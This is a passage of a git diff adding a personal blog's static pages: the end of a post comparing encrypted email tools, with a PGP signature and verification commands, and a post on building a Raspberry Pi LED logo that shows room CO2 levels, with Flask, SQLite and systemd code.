    +How to use: Create an account → compose → set a password for non‑Tuta recipients; they read and reply in a secure web page.
    +Ups: Max privacy posture; encrypted subjects between Tuta users; clean apps.
    +Downs: Some advanced mail protocols/features are intentionally limited; cross‑ecosystem mail still exposes standard email metadata.

    +

    I was introduced to this one literally for writing this post, I had no idea it existed before.

    +

    Gmail with Client‑Side Encryption (CSE) (for organizations on Google Workspace)

    +

    If you live in Google Workspace, CSE brings real end‑to‑end encryption to Gmail—keys stay with your organization. After admins set it up, users toggle encryption right in the compose window. It’s the least disruptive path for big teams that already run on Gmail.

    +

    Prices: CSE is available on certain Workspace editions (e.g., Enterprise Plus, Education Standard/Plus, Frontline Plus). No extra per‑message fee, but you’ll need a compliant key service and the right subscription tier.
    +How to use: Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
    +Ups: Seamless for employees; centralized key control; good audit/compliance story.
    +Downs: Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.

    +

    I mean… how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won’t. Not with the emails that matter to me.

    +

    Outlook / Apple Mail with S/MIME (classic enterprise path)

    +

    S/MIME uses X.509 certificates instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), it’s smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.

    +

    Prices: The tech is built in; costs come from certificates. Orgs often issue them internally; public CA prices vary.
    +How to use: Install/auto‑deploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
    +Ups: Great inside enterprises; MDM‑friendly; widely supported.
    +Downs: Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.

    +

    Ok. Is there that big of a difference between these and Gmail? Idk. I ain’t trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.

    +

    Thunderbird + OpenPGP (free, powerful, nerd‑approved—now usable)

    +

    Thunderbird bakes in OpenPGP and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports protected headers/subject encryption so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacy‑minded folks, this is the sweet spot of control and usability.

    +

    Prices: Free.
    +How to use: Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
    +Ups: Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
    +Downs: Initial key exchange still scares people; you may need to hand‑hold contacts through setup the first time.

    +

    This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don’t have iOS app which sucks, idk about Android.

    +

    Browser add‑ons: Mailvelope & FlowCrypt (bring E2EE to webmail)

    +

    If you’re welded to webmail, add‑ons can meet you where you live. Mailvelope brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. FlowCrypt focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.

    +

    Prices: Mailvelope is free/open‑source. FlowCrypt has a generous free tier with paid enterprise features for teams.
    +How to use: Install the extension → create/import keys → compose in a secure editor injected into your webmail.
    +Ups: Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
    +Downs: Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.

    +

    Just no. Don’t trust add-ons. Please.

    +

    So… which should you use?

    +

    If you need to send a one‑off encrypted message to a non‑technical person, Proton or Tuta’s password‑protected email is the friendliest: they click a link, enter the password you shared elsewhere, and can reply securely even without an account. For a company already on Google Workspace, turn on Gmail CSE so people don’t juggle keys. If you’re a power user or want provider‑agnostic control, go with Thunderbird OpenPGP—it’s free, modern, and interoperable. And if you won’t leave the web, try Mailvelope or FlowCrypt to bolt E2EE onto the inbox you already use.

    +

    Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.

    +

    A note on what E2EE hides (and what it doesn’t)

    +

    End‑to‑end encryption protects the body and attachments. Across the wider email network, metadata like From/To and delivery timestamps remain visible by design. Subjects may also be visible unless your tools use protected headers (Thunderbird can; Tuta encrypts subjects inside its ecosystem). If you truly need to hide everything, email might not be the right tool—reach for Signal or Matrix instead.

    +

    Quick price & fit-at-a-glance

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    OptionBest fitPersonal price vibeNotes
    Proton MailEveryday private email + easy messages to anyoneFree; personal paid tiers in single‑digit €/mo; business per‑userPassword‑protected emails to non‑Proton; PGP support
    TutaPrivacy‑max email; encrypted subjects in‑ecosystemFree; personal low €/mo; business per‑userPassword‑protected emails to non‑Tuta; open source
    Gmail CSEOrgs on Google WorkspaceIncluded with Enterprise Plus/Education/Frontline editionsAdmin setup + external‑recipient flow
    S/MIME (Outlook/Apple Mail)Enterprises with IT/MDMSoftware built‑in; cert costs varySmooth inside one org; cert exchange needed across orgs
    Thunderbird OpenPGPProvider‑agnostic power usersFreeCan encrypt subjects via protected headers
    Mailvelope / FlowCryptMust stay on webmailFree / paid enterprise optionsPGP in the browser; good stepping stone
    +

    The 60‑second starter packs

    +

    Proton/Tuta for one‑offs: create an account, write your message, set a password, send; share the password over Signal or SMS. Recipient opens the secure link and can reply—no account needed.

    +

    Thunderbird for everything else: install, make a key, send your first signed message; when your contact replies with their key, hit the lock and enjoy encrypted bliss.

    +
    +

    Shower thoughts

    +

    So, why did I mention any of this? +Aside from the fact that I do believe e2ee email should become defacto, and I don’t know why it isn’t already, I do think we are not taking any steps toward protecting ourselves, and rely on third parties to do so for us.

    +

    A while ago when the 12 day war happened in Iran, they eventually allowed domestic platforms to be used by Iranians living abroad to talk to their loved ones back home. +The thing is, people might not use them because they don’t trust them.

    +

    The question I had was different. +Assuming that the service is reliable, why can’t we use it and protect ourselves while doing so?

    +

    In hindsight this seems stupid. +But listen to me. +If you have a wrapper that uses your gpg key to encrypt your messages, then you send them via those seemingly “untrusted” medium, why wouldn’t you be able to use it? +The only, and oh well, biggest problem is key exchange. +Now to be honest, there exist key repositories that one can use, but also you can publish your public key over github, or any open verifiable medium. It is not foolproof, but it’s a way. +And as long as there is a minimum reliable channel between the two parties, they can verify the authenticity of the key. +Like via a quick short call. +They can also be faked, but let’s not go that extreme. +Also if many do it, it’s hard to screw over all of them, maybe a subset with spending much resources, but no way you can screw everyone.

    +

    Idk how stupid the thing I’m suggesting is, but I wonder if it can be done or not. I don’t know if I’m willing to spend my free time on it or not, but I though I should share the idea to at least know if it’s stupid and wrong or not.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSoPBBAAlYPOVuLE4EKBrV/xOlyslxRhMoJbXxdp4HGPlrBBmsbsko9V7nMvSkXN
    +z+xZGP+orZYA3hUJtJFwKY3f6Lc+H0+rmPq/qwhdlyooASpap3G9n6Lh09vrimSl
    +teMPcOiYIeFEN2NeewReyp+0kGTuS6Z0IOZZ4yIi5wG3Ect7VtesTUrLuvdsuUZ2
    +nh+i/2N/8HPKb3HnkZUcWJL3oSjQ8aULH4mn4gtHUEvJZO+hH2G87yPvf0B6cM6w
    +qIEc9ScuBzyX6wo2Cu0V22LFJLEoD1rLsluzsE54iv/ZD6YxFbIwOi1KMX0mBOGo
    +S93kkSYz5LRrR/f7xtTGpfeZXnYB4YIij/9MBQBoM55oHcjTdpOV5Pe00MCF1kXJ
    +bfSn+ylCvyPoVUbFlKTiBFdHHiV29/ILUbMekJ4kRmBazNqu4Q486CLKqCn2yguA
    +mLN7Fslis+dsOnm9G/aR5MadIMgXwU8hwVM9DKDoxia4UALOSnHA2eAnJQeEYXDa
    +BF9sq2b6gVE6OJC2eeF0pt3AY5HL4Pe3HowrGeLt8a8QsRHy5TnTE1cdF7A+A4J6
    +iX2qbkUJY1eFbG/kTdFEAH/pcSp4oEyK51/E1ADsjGIG/lu5glDJdIvfw/i6xgzR
    +ic2kF0bGJCaI/0Sen+lvC1dkn9/wxmjRYHHF7pXH0ZxKDUe6i/Y=
    +=R0VX
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/e2ee.md.asc
    +gpg --verify e2ee.md.asc e2ee.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/email/page/1/index.html b/public-onion/tags/email/page/1/index.html new file mode 100644 index 0000000..750b0fe --- /dev/null +++ b/public-onion/tags/email/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/email/ + + + + + + diff --git a/public-onion/tags/fabrication/index.html b/public-onion/tags/fabrication/index.html new file mode 100644 index 0000000..3ce0055 --- /dev/null +++ b/public-onion/tags/fabrication/index.html @@ -0,0 +1,357 @@ + + + + + + + +Fabrication | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    + Six looks of the INET LED logo +
    +
    +

    INET Logo That Breathes — From CAD to LEDs to a Calm Little Server +

    +
    +
    +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D +The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices! +...

    +
    +
    October 17, 2025 · 17 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/fabrication/index.xml b/public-onion/tags/fabrication/index.xml new file mode 100644 index 0000000..096cd92 --- /dev/null +++ b/public-onion/tags/fabrication/index.xml @@ -0,0 +1,419 @@ + + + + Fabrication on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/fabrication/ + Recent content in Fabrication on AlipourIm journeys + Hugo -- 0.146.0 + en + Fri, 17 Oct 2025 00:00:00 +0000 + + + INET Logo That Breathes — From CAD to LEDs to a Calm Little Server + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + Fri, 17 Oct 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/inet_logo/ + <blockquote> +<p>I didn’t add a warning sign to the room. I taught the <strong>logo</strong> to breathe. ;-D</p></blockquote> +<p>The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it&rsquo;s not good at is <strong>ventilating</strong> itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!</p> + +

    I didn’t add a warning sign to the room. I taught the logo to breathe. ;-D

    +

    The Rotunde is a good room for bold ideas and yummy coffee. The door sighs shut and the outside world gives up on us. The only thing it’s not good at is ventilating itself. Forty minutes into a group meeting, or a sressful defence, and we all feel like sleeping and running back to our offices!

    +

    So I crafted the INET logo and gave it a 9-5 job: be a polite barometer. If the air is fresh, it glows cool and calm. If it’s getting stale, it warms up. No blinking warnings, no sound effects — just mood.

    +

    This post is the story of how I designed the channel and diffuser, printed the parts, cut, layed out, and soldered the snippets of LED strips, wrote the software, and wrapped it all in a systemd service so it wakes up with the Pi. Feel free to grab a cup of coffee and enjoy the post! I’ll try to include as much detail as I can.

    +
    +

    1) Sketch → CAD → Print

    +

    Fusion design + logotype

    +

    I started the way all sensible hardware projects start: with overconfidence and a sketch. The INET logotype looks simple from the front but it’s a small maze inside. I modeled pockets for each letter in Fusion: a tall I, the curving N, three stacked bars for E, and the long arm of T. Each pocket got:

    +
      +
    • Mounting bosses for the front diffusers (M2 screws),
    • +
    • Cable holes between chambers (rounded to avoid cutting silicone wire), and
    • +
    • A small wiring bay for the controller and power.
    • +
    +

    I printed the channel parts in matte black PLA for heat resilience and the diffusers in white PLA at 1-2 mm thick to hide hotspots without wasting brightness. That thickness ended up perfect; you can still see motion, but the individual LED package disappears. +The print process took around 24h, including the misprints, and the in-between prints for adjusting the sizes and calibrating everything. Each letter was either printed in multiple parts, or individually so that the logo becomes as large as possible. I used around 1Kg of fillament to print the whole thing.

    +

    The design process took around 18 iterations, with initial iteration being simple letters in italic form, and the later ones being more similar to the original INET logo of our group. +I had some experience with CAD, and had designed some simple things to address my everyday problems, but this was a more serious one. Overall it took me a few days to design the logo and print it part by part. The design is not the most artistic, but as authentic as I could get it.

    +
    +

    2) The Look I Wanted

    +

    Animations collage

    +

    I wasn’t building a stage light. The goal was calm: slow waves, breathing brightness, gentle comets. Everything reads through those letter chambers like a tiny light sculpture. The cyan frame in the collage is the CO₂ monitor in a “fresh air” state (more on the color language below). There are many many other animations that I stole from different git repositories, but the most used one is the Co2 monitor with breathing animation. I did want to include more animations other than breathing, but that will be a future me problem with creativity left to spare; right now my creativity well is as dry as the paint on my wall! For now, I’m happy with it and want to let it be there doing it’s job.

    +
    +

    3) The Tidy Mess Behind the Panel

    +

    Hardware collage

    +

    Inside the box there’s a Raspberry Pi zero 2 W, a short run of WS2812B LEDs (78 pixels total), a 5 V 3–4 A supply, jumpers that mind their manners, and two little hardware choices that pay rent every day:

    +
      +
    • A 330–470 Ω series resistor on the data line right at the first pixel. It damps ringing and prevents weird flickers.
    • +
    • A 1000 µF electrolytic across 5V/GND at the strip start. It handles inrush so the first LED doesn’t faint at boot.
    • +
    +

    I route the strip DIN → DOUT through the chambers and use short silicone jumpers at the bends. Every joint gets heat‑shrink and a tiny dab of hot glue as strain relief. I continuity‑check before power and bring brightness up slowly on a bench supply.

    +

    The soldering was a big mess. I had never done hardware debugging before. My soldering skills were definitly challenged for this project, as the connections kept breaking when I moved the logo. I did learn how to perform better soldering, but it was already too late. I had to tin the wires after adding flux, and let the soldering wire go up the wire to get stronger connections and leave no naked coppers. A note to remember for next soldering journeys. It took me around two whole days to solder everything and debug it. At some point there was a faulty LED in the middle that caused shorting, and I found and cut it out. This was the most annoying part of the debugging as I had to go through the LEDs, measuring voltage difference to see what is causing the problem. I honestly gave up somewhere in here and thought I won’t be able to push through the marathon, but here I am, done with the logo, happy as a four young old licking their ice cream! xD

    +
    +

    4) A Web Panel that Stays Out of the Way

    +

    UI collage

    +

    The web UI is quiet on purpose: a single navbar, a /control page with big same‑size buttons, a /schedule table, a drag‑and‑drop /calendar, a /status page that updates once a second, and /history charts for CO₂/temperature/humidity with white backgrounds so they’re legible on a projector. Temprature values are not about room, but the box, as I could not mount the sensor outside of the box easily. I just let it sit inside the box. The panel was created with the help of trusty vibe-coding (!). I used chat GPT to create a template, and expanded it for the purpose. Flask made things very easy.

    +

    There’s also a Safe Mode switch that hides flashier patterns. Meeting rooms are for thinking, not strobe tests, and you never know who might have photosensitive epilepsy, and it’s not funny for anyone to fidn this out when looking at your creation. So… yea, I took precautions not to see people getting seizures looking at my creation. :-)

    +
    +

    5) The Color Language for Air

    +

    The co2_monitor animation maps CO₂ ppm → color and adds slow motion so it doesn’t feel like a stoplight:

    +
      +
    • < 500 ppm: Cyan — outdoor‑like fresh air.
    • +
    • 500–799: Green — good.
    • +
    • 800–1199: Yellow — getting stale.
    • +
    • 1200–1499: Orange — poor; you’ll feel it.
    • +
    • 1500–1999: Red — ventilate now.
    • +
    • ≥ 2000: Purple — the logo is politely yelling.
    • +
    +

    I blend the readings with an exponential moving average and use hysteresis around thresholds so it doesn’t ping‑pong colors when the room hovers at 800 ppm. Then I ease the current hue toward the target color and apply a very slow breathing brightness. The result feels alive but never flashy.

    +

    By default, the lights turn off from 20 to 6, then from 6 to 9, and 5 to 8 the standby red pulse is shown. From 9-5 on workdays the logo does it’s daily job of Co2 monitoring. Well, technically it does that all the time, but during those hours it shows the Co2 level by it’s color, the remaining time it just keeps a record of the Co2, temprature and humidity of room in the database.

    +
    +

    6) The Code — a guided tour (no giant blob, promise)

    +

    This whole project runs from a single Python file. Think of it like a tiny orchestra:
    +one thread conducts the LEDs, one listens politely to the CO₂ sensor, one keeps time as the scheduler, and a small web server hands you the baton when you want to improvise.

    +

    Below is what each section does, with just enough code to be useful (and not enough to make your eyes cross).

    +
    +

    6.1 Configuration (the knobs)

    +

    Let’s define where the LEDs live, how bright they can get, and where to save tiny bits of state (schedule and sensor DB). All of it can be overridden with environment variables so you don’t edit code to change pin numbers.

    +
    LED_COUNT=78, LED_PIN=18, LED_BRIGHT=255
    +SCHEDULE_PATH="schedule.json"
    +DB_PATH="sensor.db"
    +SAFE_MODE=True  # hide flashy animations by default
    +

    Why it’s like this: simple, explicit defaults → less “why is it dark” debugging.

    +
    +

    6.2 Strip setup + frame-diff (no flicker magic)

    +

    Now initialize rpi_ws281x.PixelStrip and put a shadow frame buffer in front of it.

    +
    frame = [(0,0,0)] * LED_COUNT
    +_dirty = False
    +
    +def _set_pixel(i, r, g, b):
    +  # only touch hardware if the value actually changed
    +  if frame[i] != (r,g,b):
    +    strip.setPixelColorRGB(i, r, g, b)
    +    frame[i] = (r,g,b)
    +    global _dirty; _dirty = True
    +
    +def flush():
    +  if _dirty: strip.show(); _dirty=False
    +

    Why it’s like this: LEDs are zen monks—disturb them only when you must. The frame-diff prevents those mysterious “one frame flash” moments that happen when you call show() with identical data.

    +
    +

    6.3 A tiny color wheel helper

    +

    Classic rainbow helper used by a few animations:

    +
    def wheel(pos):
    +  # 0..255 → (r,g,b)
    +  ...
    +

    Why it’s like this: I’ll use it again and again; it keeps color math out of the animations.

    +
    +

    6.4 State & orchestration

    +

    Let’s hold a registry of animations, a stop flag, and the currently playing thread.

    +
    animations = {}
    +stop_event = threading.Event()
    +current_thread = None
    +
    +def register(name, safe=True):
    +  def wrap(fn):
    +    animations[name] = {"fn": fn, "safe": safe}
    +    return fn
    +  return wrap
    +
    +def run_animation(fn):
    +  # cooperative hand-off: stop current, start next
    +  if current_thread and current_thread.is_alive():
    +    stop_event.set(); current_thread.join()
    +  stop_event.clear()
    +  t = threading.Thread(target=fn, name=fn.__name__, daemon=True)
    +  t.start(); globals()["current_thread"] = t
    +

    Why it’s like this: adding a new animation is a one-liner @register("name"). Clean exits prevent torn frames and half-drawn comets.

    +
    +

    6.5 Animations (the mood)

    +

    Each animation is a loop that checks stop_event.is_set() and draws frames with _set_pixel(...) + flush().

    +
      +
    • redpulse — calm breathing in red; great default.
    • +
    • colorwave — slow rainbow that reads clearly behind diffusers.
    • +
    • comet — a single head with a fading tail orbiting the logo.
    • +
    +

    They all end with finally: clear_strip() so the panel doesn’t freeze on the last pose if you stop mid-frame.

    +

    Why it’s like this: cooperative loops + frame-diff = smooth, interruption-safe effects.

    +
    +

    6.6 CO₂ color language (with smoothing + hysteresis)

    +

    The star of the show. Now map ppm to color bands and keep transitions human-pleasant.

    +
      +
    • < 500: Cyan (fresh)
    • +
    • 500–799: Green
    • +
    • 800–1199: Yellow
    • +
    • 1200–1499: Orange
    • +
    • 1500–1999: Red
    • +
    • ≥ 2000: Purple
    • +
    +
    BANDS=[(0,500,(0,214,255)), (500,800,(17,204,85)), ... (2000,,(123,44,191))]
    +EMA_ALPHA=0.15; HYST=35
    +
    +# Every tick:
    +ema = (1-EMA_ALPHA)*ema + EMA_ALPHA*co2
    +band = hysteresis_aware_band(ema, last_band, HYST)
    +target = BANDS[band].color
    +current = lerp(current, target, 0.10)   # gentle hue easing
    +level   = breathe(0.25 Hz, low=10, high=220)
    +draw all pixels = current * level
    +

    Why it’s like this: EMA + hysteresis prevents “800↔801 disco.” The slow breathing keeps the panel feeling alive, not like a traffic light.

    +
    +

    6.7 Optional SCD41 sensor thread (the polite listener)

    +

    If the SCD41 is present, a dedicated thread owns I²C and updates a global co2_data dict every few seconds. It also logs to a tiny SQLite database.

    +
    def _start_sensor():
    +  try:
    +    scd4x = adafruit_scd4x.SCD4X(i2c); scd4x.start_periodic_measurement()
    +  except: return  # sensor optional
    +  def loop():
    +    while True:
    +      time.sleep(5)
    +      if scd4x.data_ready:
    +        co2_data.update({...})
    +        db.insert(timestamp, co2, temperature, humidity)
    +  threading.Thread(target=loop, daemon=True).start()
    +

    Why it’s like this: one thread owns the bus → no read contention. The controller keeps working even without a sensor.

    +
    +

    6.8 Scheduler + 90-minute override (humans win, then reset)

    +

    A background thread asks, every few seconds, which mode should be running:

    +
      +
    1. If the user chose something recently (override), respect it for TTL = 90 min (or the duration set in the UI).
    2. +
    3. Otherwise, apply the default schedule (Wednesday 14–17 → slow, else redpulse).
    4. +
    5. Save/load the schedule atomically to schedule.json.
    6. +
    +
    def scheduler_pick():
    +  if now < override_until: return override_mode
    +  for row in load_schedule():
    +    if matches(now, row): return row["mode"]
    +  return "redpulse"
    +

    Why it’s like this: you can play DJ for a meeting, and the room quietly returns to its routine afterward.

    +
    +

    6.9 The web panel (tiny Flask, big buttons)

    +

    Three pages, no fuss:

    +
      +
    • /status — live JSON (/status_data) every second → current mode + CO₂/Temp/Humidity.
    • +
    • /control — grid of same-size buttons (respects Safe Mode), optional duration (0–180 min) with validation.
    • +
    • /schedule — simple table editor; Add Row and Save; writes atomically.
    • +
    +
    @app.post("/set")
    +def set_mode():
    +  mode = request.form["mode"]
    +  minutes = clamp( int(form["duration"]), 0, 180 )
    +  set_override(mode, minutes)
    +  run_animation(animations[mode]["fn"])
    +  return redirect("/control")
    +

    Why it’s like this: minimal routes are easier to maintain and don’t compete with the art piece.

    +
    +

    6.10 Boot choreography

    +

    At startup I:

    +
      +
    1. Try the sensor thread (if hardware is there).
    2. +
    3. Start the scheduler thread.
    4. +
    5. Immediately play redpulse (so there’s a friendly glow right away).
    6. +
    7. Start Flask; on shutdown I clear the strip.
    8. +
    +
    if __name__ == "__main__":
    +  _start_sensor()
    +  threading.Thread(target=scheduler_loop, daemon=True).start()
    +  run_animation(redpulse)
    +  app.run(host="0.0.0.0", port=5000)
    +

    Why it’s like this: the room sees something alive instantly; the scheduler will swap in the “real” choice within a few seconds.

    +
    +

    TL;DR (but keep the vibes)

    +
      +
    • Frame-diff = no flashes.
    • +
    • EMA + hysteresis = smooth, truthful color.
    • +
    • Breathing = presence, not signage.
    • +
    • Threads per thing (LEDs / sensor / scheduler) = no fights.
    • +
    • Atomic files = no corrupted schedules.
    • +
    • Safe Mode by default = people > pixels.
    • +
    +

    That’s it — the code behaves like a considerate colleague: dependable, quiet, and occasionally very pretty.

    +

    Why this shape of code?

    +
      +
    • One thread per hardware thing. The sensor thread owns I²C. The animation thread owns LEDs. The scheduler just decides what to run and when. No bus fights.
    • +
    • Frame diff. I only call strip.show() when a pixel actually changes. That’s why it doesn’t randomly flash during web requests.
    • +
    • Atomic schedule saves. The code writes to a temporary file and replaces the old one so a mid‑save power cut can’t corrupt the schedule.
    • +
    +
    +

    No, you don’t need the sensor. If it’s not connected, the app still runs; co2_monitor just sits at the default value. Well, technically it shows NaN as the numbers! But it is fun to have a sensor, don’t you agree?

    +
    +

    7) Sensor Database — what it stores, where it lives, and how far it goes

    +

    This project logs room conditions to a tiny SQLite database so you can graph trends, spot stuffy meetings, and keep a record without running a separate server.

    +

    What’s stored

    +

    A single table called readings:

    +
    CREATE TABLE IF NOT EXISTS readings (
    +  timestamp   TEXT PRIMARY KEY,   -- "YYYY-MM-DD HH:MM:SS"
    +  co2         INTEGER,            -- ppm
    +  temperature REAL,               -- °C
    +  humidity    REAL                -- %
    +);
    +
      +
    • One row per sample (typically every 5–60 seconds; slow it down to reduce writes).
    • +
    • timestamp is the primary key → easy “latest” queries and natural time ordering.
    • +
    +

    Where the file lives

    +
      +
    • Path is configurable via env var DB_PATH (see your systemd unit).
    • +
    • Default: sensor.db in the app’s working directory (e.g. /home/pi/inet-led/sensor.db).
    • +
    +

    Check size:

    +
    ls -lh /home/pi/inet-led/sensor.db
    +

    How writes happen (and why it’s safe)

    +
      +
    • The sensor thread owns I²C and inserts a row only when the sensor reports data_ready.
    • +
    • Inserts are short and journaling protects against power loss.
    • +
    • For friendlier read/write concurrency, enable WAL once at startup:
    • +
    +
    PRAGMA journal_mode = WAL;
    +PRAGMA synchronous = NORMAL;
    +

    Typical size & retention

    +

    Back-of-envelope:

    +
      +
    • ~100–200 bytes per row (including overhead).
    • +
    • 1 sample/minute → ~1,440 rows/day → ~150–300 KB/day55–110 MB/year.
    • +
    • If you log every 5 seconds, multiply by ~12 (consider slower logging or downsampling).
    • +
    +

    Prune old data (keep last 90 days):

    +
    DELETE FROM readings
    +WHERE timestamp < date('now','-90 day');
    +

    (Optionally run VACUUM; after large deletes to reclaim file space.)

    +

    Useful queries

    +

    Latest reading:

    +
    SELECT * FROM readings ORDER BY timestamp DESC LIMIT 1;
    +

    Range for charts (last 7 days):

    +
    SELECT * FROM readings
    +WHERE timestamp >= datetime('now','-7 day')
    +ORDER BY timestamp;
    +

    Downsample to hourly averages (30 days):

    +
    SELECT strftime('%Y-%m-%d %H:00:00', timestamp) AS hour,
    +       AVG(co2) AS co2, AVG(temperature) AS t, AVG(humidity) AS h
    +FROM readings
    +WHERE timestamp >= datetime('now','-30 day')
    +GROUP BY hour
    +ORDER BY hour;
    +

    Export to CSV (example via sqlite3 CLI):

    +
    sqlite3 /home/pi/inet-led/sensor.db <<'SQL'
    +.headers on
    +.mode csv
    +.output /home/pi/inet-led/export_readings.csv
    +SELECT * FROM readings ORDER BY timestamp;
    +.output stdout
    +SQL
    +

    SD card friendliness

    +
      +
    • Choose a sensible interval (e.g., 30–60 s).
    • +
    • Optionally buffer in memory and write every N samples.
    • +
    • Prefer WAL mode; periodically prune & vacuum.
    • +
    • If you care about card wear, place the DB on USB/SSD.
    • +
    +

    Backups & restore

    +

    Nightly backup (simple):

    +
    sqlite3 /home/pi/inet-led/sensor.db ".backup '/home/pi/backup/sensor-$(date +%F).db'"
    +

    Restore:

    +
      +
    1. sudo systemctl stop inet-led
    2. +
    3. Copy backup file back to /home/pi/inet-led/sensor.db
    4. +
    5. sudo systemctl start inet-led
    6. +
    +

    Security & permissions

    +
    chown pi:pi /home/pi/inet-led/sensor.db
    +chmod 600 /home/pi/inet-led/sensor.db
    +

    Keep the app directory non-world-readable.

    +

    Is SQLite the right choice?

    +

    Yes, for a single Pi logging every few seconds and rendering local charts:

    +
      +
    • ✅ Zero admin, a single file, reliable journaling, great performance at this scale.
    • +
    • ⚠️ One writer at a time (I only have the sensor thread writing, so it’s fine).
    • +
    • ⬆️ If you later need multi-device ingestion, alerts, or >10s of millions of rows, consider a time-series DB (TimescaleDB/InfluxDB/VictoriaMetrics) and migrate using CSV exports.
    • +
    +

    TL;DR

    +

    SQLite is perfect here: simple, robust, easy to back up. Start with it, and only upgrade when your ambitions outgrow a single Raspberry Pi.

    +
    +

    8) Run at Boot (systemd)

    +

    I wrote this simple systemd to /etc/systemd/system/inet-led.service so that it runs the script when RPi boots up:

    +
    [Unit]
    +Description=INET LED Panel
    +After=network.target
    +
    +[Service]
    +ExecStart=/usr/bin/python3 /home/pi/inet-led/inet_led_panel.py
    +WorkingDirectory=/home/pi/inet-led
    +Restart=always
    +User=pi
    +Environment=LED_COUNT=78
    +Environment=SCHEDULE_FILE=/home/pi/inet-led/schedule.json
    +Environment=DB_PATH=/home/pi/inet-led/sensor.db
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Then you can run:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now inet-led
    +journalctl -u inet-led -f
    +

    to control the systemd service.

    +
    +

    9) Soldering Notes (a love letter to hot glue)

    +
      +
    • Tin first, solder second. Tiny pads like tiny puddles. Fast in/out, no lifted pads.
    • +
    • Stagger joints so nothing stacks under the diffuser.
    • +
    • Heat‑shrink + a dot of hot glue = happier future you.
    • +
    • Continuity before power. Multimeter first, electrons last.
    • +
    • If a pad does lift: magnet wire to a trace, UV mask to seal. Ugly heroics, but it works.
    • +
    +

    Besides the soldering part, I also used m2 screws to fix the diffusers. Initially magnets were suggested, but I felt like figuring that out might take me long, and screws just feel more maintainable… So… yea.

    +
    +

    10) Why these design choices?

    +
      +
    • Calm motion, not flashy. Meeting rooms breed fatigue; the light should be a helper, not a distraction.
    • +
    • Cyan→Purple language. Easy to learn, visible at a glance, meaningful without numbers.
    • +
    • White charts, dark UI. Data should be legible on a projector; buttons shouldn’t shout.
    • +
    • Safe Mode default. People first. Demos are opt‑in.
    • +
    • PLA body, PLA diffuser. Fast and easy rapid prototyping, easy and fast printing.
    • +
    +
    +

    11) What I learned

    +
      +
    • A logo is a better messenger than a dashboard.
    • +
    • Everyone knows what orange means without a legend.
    • +
    • If you show the room a mirror, it corrects itself. Someone will open the door long before you have to ask, and if someone notices the orange/red color of the logo, they would hint the end of the gathering!
    • +
    • Sometimes debugging is not fun at all, and you want to bang your head to the wall, but try not to! Life is short. ^^
    • +
    +
    +

    12) Final notes

    +

    I did this project as a fun distraction and “not work” as my advisor tells me to do all the time. My advisor provided the LED strip, RPi zero 2 W, and the voltage divider. I got the sensor, designed and coded everything else, and had a lot of fun doing so. I’m so so thankful of my advisor for this cool idea, and all the support. It’s not the first time I’ve been gifted such toys, and as I have recieved other things after that, I know it’s not the last.

    +

    There is a bug I never was able to figure out, sometimes when I stop the script, I get segmentation fault. I know it is not directly my code with extensive testing, and that the problem is with the library, but I never understood why it happens. Let’s hope that doesn’t turn into a backdoor into my logo. * Shakingly crosses fingers and sighs in distress!*

    +

